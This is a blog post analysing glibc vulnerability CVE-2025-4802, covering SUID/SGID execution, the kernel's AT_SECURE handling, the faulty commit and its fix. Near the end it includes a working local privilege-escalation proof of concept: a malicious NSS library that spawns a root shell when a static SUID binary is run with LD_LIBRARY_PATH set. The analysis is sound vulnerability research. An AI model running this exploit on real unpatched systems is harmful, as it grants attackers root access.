To access this post in Portuguese, clique aqui.
In this blog post, we present a brief analysis of vulnerability CVE-2025-4802 [1], which affects libc developed by the GNU project, glibc, across versions 2.27 to 2.38, spanning the years 2017 to 2023 [2].
In simple terms, this vulnerability allows statically linked ELF binaries that execute dlopen() [3] either implicitly or explicitly to load arbitrary libraries via the LD_LIBRARY_PATH environment variable on a SUID binary. In practical terms, this enables a user with limited privileges to execute arbitrary code with elevated permissions.
Our objective is to provide the foundational knowledge required to understand the issue comprehensively. We will analyze the root cause of the vulnerability, the patch, its security impact, and how the involved components – the loader, the dynamic linker, and the kernel – interact to enable binary execution on the system. The operating system used for this blog post is Ubuntu 22.04, as provided to the students during our Linux binary exploitation training course.
Development
Before analyzing the vulnerability itself, we will present some important concepts for understanding it.
Understading the SUID/SGID bit
First, the set-user-ID (SUID)/set-group-ID (SGID) bit is used so that binaries are executed on behalf of a user/group different from the one that initiated their execution. Therefore, ELF binaries configured with those bits enabled are generally used to allow less privileged users to perform tasks that require permissions not granted to them by default, but assigned to the user/group that owns that ELF.
For example, the ping command is owned by the root user and formerly had the SUID bit enabled in order to be able to create SOCK_RAW sockets, necessary for its operation, since only users with the CAP_NET_ADMIN or CAP_NET_RAW capability [4] can do so. However, since the SUID bit provides more privileges than necessary to perform this task, it was disabled and the CAP_NET_RAW capability was assigned to the ping binary, allowing it to function only with the appropriate permissions for all its functionality. The following excerpt is found in the command manual [5].
SECURITY
ping requires CAP_NET_RAW capability to be executed
1) if the program is used for non-echo queries (see -N option) or when the identification field set to 0 for ECHO_REQUEST (see -e), or 2) if kernel does not support ICMP datagram sockets, or 3) if the user is not allowed to create an ICMP echo socket. The program may be used as set-uid root.
Therefore, when viewing the ping permissions in older distributions, we would find the following result:
$ ls -lha /usr/bin/ping
-rwsr-xr-x 1 root root 60K Nov 10 2016 /usr/bin/ping
$The binary belongs to the root user, the first octet indicates the SUID bit is active with the ‘s‘ flag, and the last octet grants execution permission to any user. Therefore, ping commands were executed on behalf of the root user. In contrast, currently the scenario is as follows:
$ ls -lha /usr/bin/ping
-rwxr-xr-x 1 root root 152K jun 5 2025 /usr/bin/ping*
$ getcap /usr/bin/ping
/usr/bin/ping cap_net_raw=ep
$The SUID bit is no longer enabled, but the CAP_NET_RAW capability is assigned to the ELF. To find executables with the SUID bit enabled, simply use the find utility with the -perm parameter set to -4000:
$ find / -perm -4000 2>/dev/null
...
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/fusermount3
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/umount
/usr/bin/su
...
$By checking one of the search results, the sudo command, we can confirm that it is indeed set with the SUID bit enabled.
$ ls -lha /usr/bin/sudo
-rwsr-xr-x 1 root root 227K Jun 25 2025 /usr/bin/sudo
$The same applies to the SGID bit, but the value of -perm this time is -2000:
$ find / -perm -2000 2>/dev/null
...
/usr/bin/chage
/usr/bin/ssh-agent
/usr/bin/crontab
/usr/bin/expiry
/usr/lib/x86_64-linux-gnu/utempter/utempter
/usr/local/share/fonts
/usr/sbin/pam_extrausers_chkpwd
/usr/sbin/unix_chkpwd
...
$Again, when checking some search results, we confirm that the crontab command does, in fact, have the SGID bit enabled.
$ ls -lha /usr/bin/crontab
-rwxr-sr-x 1 root crontab 39K Mar 23 2022 /usr/bin/crontab
$A quick experiment to better understand the effect of the SUID/SGID bits in binaries can be the following:
- Write C code that calls the
execve()function. execve()will execute a shell, preserving privileges, calling theidcommand to print the user and group information of the execution.- Compile the code into 3 different binaries.
- The first binary will not be modified.
- The second will have its owner and group changed to root and its permissions modified to enable the SUID bit.
- The last binary will only have its group changed to root and will also have the SGID bit enabled.
After executing the three binaries, it is clear that the SUID bit changes the euid (effective user ID) and the SGID bit changes the egid (effective group ID). We chose to run the id command rather than calling getuid(), geteuid(), and getegid() to keep the code as concise as possible, as our audience may not be deeply familiar with C programming. Note that the filesystem where the files reside must allow the execution of SUID binaries (i.e., it must not be mounted with the nosuid flag); otherwise, the results will differ. The source code used in this experiment can be found at the end of the page.
[+] Executing id as ./elf_id
[+] AT_SECURE = 0
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users)
[+] Executing id as ./elf_suid
[+] AT_SECURE = 1
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users)
[+] Executing id as ./elf_sgid
[+] AT_SECURE = 1
uid=1000(user) gid=1000(user) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),1000(user)Therefore, if it becomes possible to load an arbitrary library into binaries with the SUID/SGID bit set, we are effectively loading third-party code controlled by a less privileged user to be executed within the context of a more privileged user, as reported in GLIBC Security Advisory 2025-0002.
> A statically linked setuid binary that calls dlopen […]
may incorrectly search LD_LIBRARY_PATH to determine which library to load, leading to the execution of library code that is attacker controlled.
THE LOADER, DYNAMIC LINKER AND THE KERNEL
The operating system must provide the libraries necessary for program execution. There is a fundamental library called Standard C Library, commonly referred to as libc. An ELF binary can be compiled in two ways: dynamically or statically. In a dynamically compiled binary, the dynamic linker (ld.so) [6], provided with glibc, is specified within the binary via the PT_INTERP header. While it is identified by two names (loader or dynamic linker), in this article we will use these terms to refer to different stages of its execution. The loader executes before the main program code; its role is primarily to prepare the environment and load the required shared libraries into memory.
In a statically compiled binary, the necessary libraries including libc are embedded directly into the executable. A key difference between the two methods is that a dynamic binary requires a compatible runtime environment to execute, whereas a static binary is self-contained, encompassing all dependencies required for its execution. In a dynamically compiled binary, the loader is specified in the PT_INTERP header, which is absent in a statically compiled binary. However, regardless of the compilation method, the compiler adds a component called crt0 (C runtime 0) that is executed during program initialization.
After the binary starts its execution, the dynamic linker has already done most of its work. In dynamically compiled binaries, late resolution (lazy binding) of function addresses can still occur through the PLT/GOT mechanism. Although statically compiled binaries do not have a separate dynamic loader (as there is no PT_INTERP or ld.so), in some implementations, such as glibc, it is still possible to load dynamic libraries at runtime through functions like dlopen().
Static glibc includes limited support for this dynamic loading. To compile a binary statically, the static version of libc must be installed. Unlike glibc, musl libc does not support loading dynamic libraries in static binaries [7]. In addition to the compilation method, the type of binding performed is also critical. There are two primary forms of binding: Lazy and Now. These modes are mainly used in dynamic binaries and depend on how the binary was compiled as well as runtime variables, such as the LD_BIND_NOW environment variable. The type of binding used is vital information during security assessments and vulnerability exploitation [8].
LD_BIND_NOW (since glibc 2.1.1)
If set to a nonempty string, causes the dynamic linker to resolve all symbols at program startup instead of deferring function call resolution to the point when they are first referenced. This is useful when using a debugger.
Lazy binding instructs the loader to resolve library function addresses only upon their first call. In contrast, bind now resolves all addresses during program startup, making subsequent calls faster. Lazy binding is a typical mechanism for dynamic binaries. In pure static binaries, calls are resolved at link time. In such static binaries, lazy binding can only occur within libraries loaded at runtime via dlopen().
The loader is also responsible for processing crucial information passed from kernel space to user space via the auxiliary vector [9][10]. This occurs regardless of the binary’s compilation method. As described in the documentation, this mechanism provides a convenient and efficient way to transmit information to the loader or the program’s initialization code. In this context where execution is privileged due to the SUID/SGID bit being active certain protective measures must be implemented, such as the activation of glibc’s secure mode.
Static binaries can be vulnerable when using dlopen() or functions that trigger it internally, even in the absence of a separate dynamic loader. The mechanism resides within the auxiliary vector itself. As noted, this vector is utilized by both dynamically and statically compiled binaries; the distinction lies in when the information is processed. In a dynamic binary, the auxiliary vector is parsed by the loader before the main program executes. In a static binary, this information is processed during glibc initialization, where the secure mode flag is set early. Consequently, when a call to dlopen() occurs, the embedded dynamic loading code queries this pre-established flag.
Privileged execution mode, also known as secure-execution mode, is enabled when a non-zero value is assigned to the AT_SECURE entry of the auxiliary vector. This triggers the loader (or dynamic loading mechanism) to ignore or sanitize specific environment variables, preventing external interference during execution. Among the variables subject to this sanitization is LD_LIBRARY_PATH, which allows for the specification of a list of directories where runtime libraries should be located.
For a dynamically compiled ELF binary to execute successfully, two essential components must interact: the loader and the kernel. When a binary is executed via the execve() system call, for example, the simplified flow is as follows:
execve() -> kernel -> loader -> main() function from the target binaryThe exact role of the loader depends on several factors, notably whether the binary has the SUID/SGID bit enabled, as indicated by the auxiliary vector.
The auxiliary vector is located on the stack, immediately following the environment variable pointers. In addition to the AT_SECURE entry which triggers secure-execution mode for SUID/SGID binaries the vector contains other metadata critical to the loader that can be leveraged during vulnerability exploitation. Examples include AT_BASE, which specifies the loader’s base address, and AT_SYSINFO_EHDR, which provides the virtual address of the vDSO (virtual Dynamic Shared Object) page.
To analyze how the kernel manages the privileges of ELF binaries with the SUID/SGID bit enabled, we must examine the execution flow initiated by the execve() system call:
do_execve()
do_execveat_common()
bprm_execve()
exec_binprm()
search_binary_handler()
load_binary() -> load_elf_binary()
begin_new_exec()
bprm_creds_from_file()
bprm_fill_uid()
security_bprm_creds_from_file()
cap_bprm_creds_from_file()
commit_creds()
create_elf_tables()In this flow, the most relevant functions for our purpose are bprm_fill_uid(), cap_bprm_creds_from_file(), and create_elf_tables(). The first, bprm_fill_uid(), assigns the effective user and group ID values based on the inode of the ELF binary being executed. Subsequently, cap_bprm_creds_from_file() performs a crucial check on these identifiers to finalize the process credentials. Finally, create_elf_tables() populates the auxiliary vector, signaling to user space that the execution involves a binary with the SUID/SGID bit active.
To understand how these functions operate, it is necessary to examine the struct linux_binprm, which maintains the state and parameters required to execute a binary including the arguments passed during the call, environment variables, file descriptors, and memory descriptors. In this context, the most critical member of this structure is the secureexec bit; during create_elf_tables(), its value is mapped to the auxiliary vector via the AT_SECURE entry.
File: Ubuntu-5.15.0-164.174/include/linux/binfmts.h
---
14 /*
15 * This structure is used to hold the arguments that are used when loading binaries.
16 */
17 struct linux_binprm {
...
28 unsigned int
...
30 have_execfd:1,
...
33 execfd_creds:1,
...
39 secureexec:1,
...
44 point_of_no_return:1;
...
51 struct cred *cred; /* new credentials */
...
67 } __randomize_layout;
---As previously mentioned, bprm_fill_uid() utilizes the inode of the binary file referenced by the bprm object to retrieve file metadata such as user and group identifiers and file mode directly from the filesystem. If the bits indicating SUID/SGID activation are present, the effective user/group IDs within the bprm object are updated accordingly.
File: Ubuntu-5.15.0-164.174/fs/exec.c
---
1597 static void bprm_fill_uid(struct linux_binprm *bprm, struct file *file)
1598 {
1599 /* Handle suid and sgid on files */
1600 struct user_namespace *mnt_userns;
1601 struct inode *inode;
1602 unsigned int mode;
1603 kuid_t uid;
1604 kgid_t gid;
1605 int err;
...
1613 inode = file->f_path.dentry->d_inode;
1614 mode = READ_ONCE(inode->i_mode);
1615 if (!(mode & (S_ISUID|S_ISGID)))
1616 return;
1617
1618 mnt_userns = file_mnt_user_ns(file);
...
1623 /* Atomically reload and check mode/uid/gid now that lock held. */
1624 mode = inode->i_mode;
1625 uid = i_uid_into_mnt(mnt_userns, inode);
1626 gid = i_gid_into_mnt(mnt_userns, inode);
1627 err = inode_permission(mnt_userns, inode, MAY_EXEC);
1628 inode_unlock(inode);
...
1639 if (mode & S_ISUID) {
1640 bprm->per_clear |= PER_CLEAR_ON_SETID;
1641 bprm->cred->euid = uid;
1642 }
1643
1644 if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) {
1645 bprm->per_clear |= PER_CLEAR_ON_SETID;
1646 bprm->cred->egid = gid;
1647 }
1648 }
---Thus, as demonstrated in the cap_bprm_creds_from_file() code snippet below, the secureexec member of the bprm object is set when:
- The effective UID/GID of the object differs from the real UID/GID of the process that initiated the
execve()system call (i.e., the process requesting the execution of an ELF with the SUID/SGID bit active). - The real UID is not root and the ELF has the Effective capability bit set, or there is a discrepancy between the Ambient capability set and other permitted capabilities.
File: Ubuntu-5.15.0-164.174/security/commoncap.c
---
882 /**
883 * cap_bprm_creds_from_file - Set up the proposed credentials for execve().
884 * @bprm: The execution parameters, including the proposed creds
885 * @file: The file to pull the credentials from
886 *
887 * Set up the proposed credentials for a new execution context being
888 * constructed by execve(). The proposed creds in @bprm->cred is altered,
889 * which won't take effect immediately.
890 *
891 * Return: 0 if successful, -ve on error.
892 */
893 int cap_bprm_creds_from_file(struct linux_binprm *bprm, struct file *file)
894 {
895 /* Process setpcap binaries and capabilities for uid 0 */
896 const struct cred *old = current_cred();
897 struct cred *new = bprm->cred;
898 bool effective = false, has_fcap = false, is_setid;
899 int ret;
900 kuid_t root_uid;
...
905 ret = get_file_caps(bprm, file, &effective, &has_fcap);
...
909 root_uid = make_kuid(new->user_ns, 0);
910
911 handle_privileged_root(bprm, has_fcap, &effective, root_uid);
...
922 is_setid = __is_setuid(new, old) || __is_setgid(new, old);
...
973 /* Check for privilege-elevated exec. */
974 if (is_setid ||
975 (!__is_real(root_uid, new) &&
976 (effective ||
977 __cap_grew(permitted, ambient, new))))
978 bprm->secureexec = 1;
979
980 return 0;
981 }
---File: Ubuntu-5.15.0-164.174/security/commoncap.c
---
832 #define __cap_grew(target, source, cred) \
833 !cap_issubset(cred->cap_##target, cred->cap_##source)
...
837 static inline bool __is_setuid(struct cred *new, const struct cred *old)
838 { return !uid_eq(new->euid, old->uid); }
839
840 static inline bool __is_setgid(struct cred *new, const struct cred *old)
841 { return !gid_eq(new->egid, old->gid); }
---Once the bprm object credentials are correctly established, the commit_creds() function is called to apply these privileges to the current process. Upon returning from begin_new_exec() to load_elf_binary(), the create_elf_tables() function is invoked to copy specific attributes from the linux_binprm struct to the auxiliary vector. This includes the secureexec bit, which is mapped to the AT_SECURE entry to signal the security context to user space.
File: Ubuntu-5.15.0-164.174/fs/binfmt_elf.c
---
172 create_elf_tables(struct linux_binprm *bprm, const struct elfhdr *exec,
173 unsigned long interp_load_addr,
174 unsigned long e_entry, unsigned long phdr_addr)
175 {
176 struct mm_struct *mm = current->mm;
...
180 elf_addr_t __user *sp;
...
188 elf_addr_t *elf_info;
...
190 int ei_index;
...
239 /* Create the ELF interpreter info */
240 elf_info = (elf_addr_t *)mm->saved_auxv;
241 /* update AT_VECTOR_SIZE_BASE if the number of NEW_AUX_ENT() changes */
242 #define NEW_AUX_ENT(id, val) \
243 do { \
244 *elf_info++ = id; \
245 *elf_info++ = val; \
246 } while (0)
...
272 NEW_AUX_ENT(AT_SECURE, bprm->secureexec);
...
297 ei_index = elf_info - (elf_addr_t *)mm->saved_auxv;
298 sp = STACK_ADD(p, ei_index)
..
357 /* Put the elf_info on the stack in the right place. */
358 if (copy_to_user(sp, mm->saved_auxv, ei_index * sizeof(elf_addr_t)))
...
361 }
---THE VULNERABILITY (CVE-2025-4802)
Now that we have addressed the nuances necessary to understand the vulnerability, let’s analyze the commit that introduced the flawed logic. Focusing on the pertinent modifications, we see that the fillin_rpath() function had its check_trusted parameter removed. As a result, the code block utilizing this parameter was deleted, including the call to the is_trusted_path() function.
Consequently, when refactoring the calls to fillin_rpath(), the value of the __libc_enable_secure variable in the _dl_init_paths() function is no longer passed as the check_trusted argument despite this variable being responsible for determining whether security checks should be enforced. Because __libc_enable_secure is no longer utilized to trigger validation, and paths are no longer verified by is_trusted_path(), the LD_LIBRARY_PATH environment variable is now ingested by fillin_rpath() and utilized in _dl_non_dynamic_init() via _dl_init_paths(). The commit that introduced this vulnerability is shown below:
commit 10e93d968716ab82931d593bada121c17c0a4b93
Author: Dmitry V. Levin <ldv@altlinux.org>
Date: Mon Dec 18 21:46:07 2017 +0000
elf: remove redundant __libc_enable_secure check from fillin_rpath
There are just two users of fillin_rpath: one is decompose_rpath that
sets check_trusted argument to 0, another one is _dl_init_paths that
sets check_trusted argument to __libc_enable_secure and invokes
fillin_rpath only when LD_LIBRARY_PATH is non-empty.
Starting with commit
glibc-2.25.90-512-gf6110a8fee2ca36f8e2d2abecf3cba9fa7b8ea7d,
LD_LIBRARY_PATH is ignored for __libc_enable_secure executables,
so check_trusted argument of fillin_rpath is always zero.
* elf/dl-load.c (is_trusted_path): Remove.
(fillin_rpath): Remove check_trusted argument and its use,
all callers changed.
diff --git a/elf/dl-load.c b/elf/dl-load.c
index e7d97dcc56..2964464158 100644
--- a/elf/dl-load.c
+++ b/elf/dl-load.c
@@ -116,24 +116,6 @@ static const size_t system_dirs_len[] =
};
#define nsystem_dirs_len array_length (system_dirs_len)
-static bool
-is_trusted_path (const char *path, size_t len)
-{
- const char *trun = system_dirs;
-
- for (size_t idx = 0; idx < nsystem_dirs_len; ++idx)
- {
- if (len == system_dirs_len[idx] && memcmp (trun, path, len) == 0)
- /* Found it. */
- return true;
-
- trun += system_dirs_len[idx] + 1;
- }
-
- return false;
-}
-
-
static bool
is_trusted_path_normalize (const char *path, size_t len)
{
@@ -428,8 +410,7 @@ static size_t max_dirnamelen;
static struct r_search_path_elem **
fillin_rpath (char *rpath, struct r_search_path_elem **result, const char *sep,
- int check_trusted, const char *what, const char *where,
- struct link_map *l)
+ const char *what, const char *where, struct link_map *l)
{
char *cp;
size_t nelems = 0;
@@ -459,13 +440,6 @@ fillin_rpath (char *rpath, struct r_search_path_elem **result, const char *sep,
if (len > 0 && cp[len - 1] != '/')
cp[len++] = '/';
- /* Make sure we don't use untrusted directories if we run SUID. */
- if (__glibc_unlikely (check_trusted) && !is_trusted_path (cp, len))
- {
- free (to_free);
- continue;
- }
-
/* See if this directory is already known. */
for (dirp = GL(dl_all_dirs); dirp != NULL; dirp = dirp->next)
if (dirp->dirnamelen == len && memcmp (cp, dirp->dirname, len) == 0)
@@ -791,8 +765,7 @@ _dl_init_paths (const char *llp)
}
(void) fillin_rpath (llp_tmp, env_path_list.dirs, ":;",
- __libc_enable_secure, "LD_LIBRARY_PATH",
- NULL, l);
+ "LD_LIBRARY_PATH", NULL, l);
if (env_path_list.dirs[0] == NULL)
{The patch addressing this oversight repositioned the sanitization routine for environment variables affected by secure mode. By ensuring this logic, which is governed by the __libc_enable_secure variable, executes prior to the initialization of LD_LIBRARY_PATH by _dl_init_paths() in _dl_non_dynamic_init(), the loader preemptively clears untrusted values. This sequence ensures that no malicious paths can be assigned or processed during the initialization of a static binary.
commit 5451fa962cd0a90a0e2ec1d8910a559ace02bba0
Author: Adhemerval Zanella <adhemerval.zanella@linaro.org>
Date: Mon Nov 6 17:25:49 2023 -0300
elf: Ignore LD_LIBRARY_PATH and debug env var for setuid for static
It mimics the ld.so behavior.
Checked on x86_64-linux-gnu.
Reviewed-by: Siddhesh Poyarekar <siddhesh@sourceware.org>
diff --git a/elf/dl-support.c b/elf/dl-support.c
index 31a608df87..837fa1c836 100644
--- a/elf/dl-support.c
+++ b/elf/dl-support.c
@@ -272,8 +272,6 @@ _dl_non_dynamic_init (void)
_dl_main_map.l_phdr = GL(dl_phdr);
_dl_main_map.l_phnum = GL(dl_phnum);
- _dl_verbose = *(getenv ("LD_WARN") ?: "") == '\0' ? 0 : 1;
-
/* Set up the data structures for the system-supplied DSO early,
so they can influence _dl_init_paths. */
setup_vdso (NULL, NULL);
@@ -281,6 +279,22 @@ _dl_non_dynamic_init (void)
/* With vDSO setup we can initialize the function pointers. */
setup_vdso_pointers ();
+ if (__libc_enable_secure)
+ {
+ static const char unsecure_envvars[] =
+ UNSECURE_ENVVARS
+ ;
+ const char *cp = unsecure_envvars;
+
+ while (cp < unsecure_envvars + sizeof (unsecure_envvars))
+ {
+ __unsetenv (cp);
+ cp = strchr (cp, '\0') + 1;
+ }
+ }
+
+ _dl_verbose = *(getenv ("LD_WARN") ?: "") == '\0' ? 0 : 1;
+
/* Initialize the data structures for the search paths for shared
objects. */
_dl_init_paths (getenv ("LD_LIBRARY_PATH"), "LD_LIBRARY_PATH",
@@ -297,20 +311,6 @@ _dl_non_dynamic_init (void)
_dl_dynamic_weak = *(getenv ("LD_DYNAMIC_WEAK") ?: "") == '\0';
- if (__libc_enable_secure)
- {
- static const char unsecure_envvars[] =
- UNSECURE_ENVVARS
- ;
- const char *cp = unsecure_envvars;
-
- while (cp < unsecure_envvars + sizeof (unsecure_envvars))
- {
- __unsetenv (cp);
- cp = strchr (cp, '\0') + 1;
- }
- }
-
#ifdef DL_PLATFORM_INIT
DL_PLATFORM_INIT;
#endifPROOF OF CONCEPT (POC)
Using the proof of concept provided by Solar Designer in the message sent to the oss-security mailing list, with a small modification to execute the id binary as we did in previous examples, we see that our library was loaded. The fact that the _nss_myhostname_endhostent() function was executed upon calling endhostent() confirms the execution of arbitrary code in a privileged context.
$ cat attack.c
#include <nss.h>
#include <stdio.h>
#include <unistd.h>
enum nss_status _nss_myhostname_endhostent(void)
{
puts("intercepted");
execve("/bin/sh", (char *[]){"/bin/sh", "-p", "-c", "id", NULL}, NULL);
return NSS_STATUS_SUCCESS;
}
$ gcc attack.c -o libnss_myhostname.so.2 -O2 -Wall --shared -fPIC
$ cat victim.c
#include <netdb.h>
int main(void)
{
sethostent(0);
endhostent();
return 0;
}
$ gcc victim.c -o victim -O2 -s -Wall -static
/usr/bin/ld: /tmp/ccJjU2OI.o: in function `main`:
victim.c:(.text.startup+0x7): warning: Using 'sethostent' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
/usr/bin/ld: victim.c:(.text.startup+0xc): warning: Using 'endhostent' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
$ sudo chown root:root victim
$ sudo chmod +s victim
$ ls -lha
total 3.9M
drwxr-xr-x 2 user user 177 Mar 17 18:18 .
drwx------. 6 user user 4.0K Mar 17 18:18 ..
-rw-r--r-- 1 user user 233 Mar 17 12:09 attack.c
-rwxr-xr-x 1 user user 16K Mar 17 12:09 libnss_myhostname.so.2
-rwsr-sr-x 1 root root 2.0M Mar 17 18:18 victim
-rw-r--r-- 1 user user 81 Mar 17 18:18 victim.c
$ LD_LIBRARY_PATH=. ./victim
intercepted
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),10(wheel),1000(user)
$Note: Ubuntu 22.04 addressed this vulnerability in GLIBC version 2.35-0ubuntu10. Consequently, reproducing the proof of concept requires downgrading the library to an affected version; in our case, we used 2.35-0ubuntu9.
Furthermore, in this version of Ubuntu, the GLIBC NSS module is not configured for local hostname resolution by default, as indicated by the hosts entry in the /etc/nsswitch.conf file. Therefore, in addition to downgrading to a vulnerable version of libc, the myhostname value must be added to the hosts line in /etc/nsswitch.conf
The choice to target a function belonging to the NSS [11][12] resource was dictated by its internal call to dlopen(). Consequently, any statically linked ELF that performs name service lookups or database queries can be exploited to load arbitrary code, leading to privilege escalation.
While this vulnerability is technically significant because it offers valuable insights into the interaction between the loader, dynamic linker, and kernel, its practical risk is limited. At the time of writing, no binaries meeting the necessary requirements for exploitation have been identified in any default distribution. For this reason, it is classified as a low-impact vulnerability.
CONCLUSION
In this blog post, we analyze the CVE-2025-4802 vulnerability affecting GNU libc, which allows the loading of arbitrary libraries in SUID/SGID binaries via the LD_LIBRARY_PATH environment variable. To assess the impact, we investigated how binaries with the SUID/SGID bit manifest from a user-space perspective and how the kernel manages these processes. Furthermore, we examined how the kernel communicates the execution context to the loader for both dynamically and statically compiled binaries via the auxiliary vector, triggering glibc security features when required. Finally, we conclude that the root cause of this vulnerability was a failure to sanitize the aforementioned environment variable during protected execution mode within the initialization path for statically linked binaries.
Appendix
The C code used in the suggested experiment:
File: elf_id.c
---
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/auxv.h>
int main (int argc, char *argv[]) {
printf("[+] Executing id as %s\n", argv[0]);
printf("[+] AT_SECURE = %ld\n", getauxval(AT_SECURE));
execve("/bin/sh", (char *[]){"/bin/sh", "-p", "-c", "id", NULL}, NULL);
return 0;
}
---The Makefile to prepare the experiment is available below. Note that the file needs to be adjusted for the correct username, as it assumes the user is named ‘user’.
File: Makefile
---
all: elf_id.c
gcc -g -Wall $^ -o elf_id
gcc -g -Wall $^ -o elf_suid
gcc -g -Wall $^ -o elf_sgid
sudo chown root:root elf_suid
sudo chown user:root elf_sgid
sudo chmod 4755 elf_suid
sudo chmod 2755 elf_sgid
clean:
rm -f elf_id elf_suid elf_sgid
---References
[1] – The GNU C Library security advisories update for 2025-05-16
https://sourceware.org/pipermail/libc-announce/2025/000046.html
[2] – Re: The GNU C Library security advisories update for 2025-05-16
https://www.openwall.com/lists/oss-security/2025/05/17/2
[3] – dlopen(3) – Linux manual page
https://man7.org/linux/man-pages/man3/dlopen.3.html
[4] – capabilities(7) – Linux manual page
https://man7.org/linux/man-pages/man7/capabilities.7.html
[5] – ping(8) – Linux manual page
https://man7.org/linux/man-pages/man8/ping.8.html
[6] – ld.so(8) — Linux manual page
https://man7.org/linux/man-pages/man8/ld.so.8.html
[7] – Re: static linking and dlopen
https://www.openwall.com/lists/musl/2012/12/08/4
[8] – Hardening ELF binaries using Relocation Read-Only (RELRO)
https://www.redhat.com/en/blog/hardening-elf-binaries-using-relocation-read-only-relro
[9] – getauxval(3) — Linux manual page
https://man7.org/linux/man-pages/man3/getauxval.3.html
[10] – getauxval() and the auxiliary vector
https://lwn.net/Articles/519085/
[11] – The GNU C Library – Name Service Switch
https://sourceware.org/glibc/manual/latest/html_node/Name-Service-Switch.html
[12] – nsswitch.conf(5) — Linux manual page
https://man7.org/linux/man-pages/man5/nsswitch.conf.5.html
